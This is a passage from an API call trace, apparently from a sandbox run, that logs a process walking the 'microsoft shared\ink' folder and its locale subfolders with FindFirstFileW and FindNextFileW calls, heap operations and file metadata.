ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0276.449] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0276.449] GetProcessHeap () returned 0xaf0000 [0276.449] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.450] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.450] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.450] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.450] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.450] GetProcessHeap () returned 0xaf0000 [0276.450] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.450] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0276.450] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0276.450] GetProcessHeap () returned 0xaf0000 [0276.450] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.451] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.451] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.451] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.451] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.451] GetProcessHeap () returned 0xaf0000 [0276.451] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.451] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0276.451] GetProcessHeap () returned 0xaf0000 [0276.451] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.452] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.452] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.452] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.452] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.452] GetProcessHeap () returned 0xaf0000 [0276.452] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.452] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0276.452] GetProcessHeap () returned 0xaf0000 [0276.452] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.452] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.453] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.453] GetProcessHeap () returned 0xaf0000 [0276.453] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.453] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0276.453] GetProcessHeap () returned 0xaf0000 [0276.453] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.453] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.453] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.454] GetProcessHeap () returned 0xaf0000 [0276.454] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0276.454] GetProcessHeap () returned 0xaf0000 [0276.454] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.454] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.454] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.454] GetProcessHeap () returned 0xaf0000 [0276.454] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0276.455] GetProcessHeap () returned 0xaf0000 [0276.455] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.455] 